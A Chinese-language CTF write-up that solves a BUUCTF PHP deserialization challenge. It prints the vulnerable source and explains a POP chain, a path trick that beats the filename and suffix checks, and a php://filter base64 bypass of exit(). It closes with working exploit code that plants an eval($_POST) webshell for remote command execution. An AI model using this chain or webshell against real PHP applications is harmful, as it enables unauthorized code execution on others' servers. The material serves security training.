error_reporting(0);
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}
class B {
protected function getExpireTime($expire): int {
return (int) $expire;
}
public function getCacheKey(string $name): string {
// 使缓存文件名随机
$cache_filename = $this->options['prefix'] . uniqid() . $name;
if(substr($cache_filename, -strlen('.php')) === '.php') {
die('?');
}
return $cache_filename;
}
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?phpn//" . sprintf('%012d', $expire) . "n exit();?>n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return $filename;
}
return null;
}
}
if (isset($_GET['src']))
{
highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);
代码审计,说说重要的代码部分吧
先看到A类
可以发现A类的属性store调用了set方法,可是set方法并不在A类里,我们去B类看看
在B类里瞧见了set方法,这说明A类属性store已经为B类的一个实例化对象了
看看set方法干了啥
看看这两个方法是啥东东
重点在第二个方法,会将文件名随机,并且还过滤了.php后缀
这说明可能是类似于文件上传的漏洞
接着往下看
有个data变量,有类似于一句话木马的东西进行拼接,但是后面会有个exit(),exit()会退出当前的脚本,并且他用file_put_contents() 将$data写入
最后我们发现有个反序列化函数,因此题目肯定是要我们反序列化一个东西将马写入,去getshell
代码审计工作完成,接下来就是如何去getshell
绕过文件名随机文件后缀检验
我们可以使用
$this->key = /../penson.php/.
为什么能这样呢?
因为在做路径处理的时候,会递归的删除掉路径中存在的 /.从而传入的东西是./penson.php,而传入之前,是 /../penson.php/.,通过目录穿越,让文件名固定,并且绕过.php后缀的检查
绕过exit()
接下来就是写马的那一段代码
由于写马后会拼接exit()函数,这就导致正常写马是不会成功的
参考文献
下图来自参考文献
所以可以利用这个特性,来绕过exit()
看到上面这两个所以我们构造类A的属性catche为数组
由于catche是一个数组,所以需要让complete为true,转化为数组json编码
转换为数组要加true
由于要用到php伪协议中的base64解码绕过exit()。所以我们需要将我们的webshellbase64编码再传入
然后让变量为序列化函数
由此构造exp
class A{
protected $store;
protected $key;
protected $expire;
public $cache =[];
public $complete = true;
public function __construct () {
$this->store = new B();
$this->key = '/../penson.php/.';
$this->cache = ['dirname'=>'aPD9waHAgZXZhbCgkX1BPU1RbJ3BlbnNvbiddKTs/Pg'];
}
}
class B{
public $options = [
'serialize' => 'serialize',
'prefix' => 'php://filter/write=convert.base64-decode/resource=./uploads/',
];
}
$a = new A();
echo urlencode(serialize($a));
将生成的payload传入data,进到我们上传的木马文件位置
可以发现成功getshell
蚁剑连接或者直接RCE即可得到flag
原文来自CSDN博主「penson by 小乌」|侵删
![buuctf [2020 新春红包题]-解题步骤详解 buuctf [2020 新春红包题]-解题步骤详解](https://cn-sec.com/wp-content/uploads/2022/04/4-1650506256.png)
![buuctf [2020 新春红包题]-解题步骤详解 buuctf [2020 新春红包题]-解题步骤详解](https://cn-sec.com/wp-content/uploads/2022/04/0-1650506257.png)
原文始发于微信公众号(寰宇卫士):buuctf [2020 新春红包题]-解题步骤详解
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论